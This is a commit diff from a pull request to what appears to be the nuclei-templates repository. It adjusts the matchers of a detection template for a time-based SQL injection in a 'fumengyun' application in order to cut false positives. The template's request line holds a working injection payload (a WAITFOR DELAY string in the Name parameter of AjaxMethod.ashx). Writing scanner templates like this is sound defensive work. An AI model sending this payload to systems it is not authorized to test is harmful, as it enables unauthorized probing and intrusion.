Merge pull request #10886 from projectdiscovery/FP-fumengyun-sqli
Fix FP fumengyun-sqli.yamlpatch-12
commit
80eacdcdd9
|
@ -36,6 +36,7 @@ http:
|
|||
GET /Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27;WAITFOR%20DELAY%20%270:0:6%27-- HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
stop-at-first-match: true
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: dsl
|
||||
|
@ -49,6 +50,8 @@ http:
|
|||
name: time-based
|
||||
dsl:
|
||||
- 'duration_2>=6'
|
||||
- 'contains_all(response_2, "0", "text/plain")'
|
||||
- 'len(body_2) == 1'
|
||||
- 'regex("^0$", body_2)'
|
||||
- 'contains(content_type_2, "text/plain")'
|
||||
condition: and
|
||||
# digest: 4a0a004730450220093e0ab367ad9bd0fb821ab8a76348d35fdccfcdceb731ab028dd494d3e58ba702210082b1ed2a0e9f9d628c6d0d16a48f346fecd912251491470e4926509bf6fb6baa:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450220093e0ab367ad9bd0fb821ab8a76348d35fdccfcdceb731ab028dd494d3e58ba702210082b1ed2a0e9f9d628c6d0d16a48f346fecd912251491470e4926509bf6fb6baa:922c64590222798bb761d5b6d8e72950
|
||||
|
|
Loading…
Reference in New Issue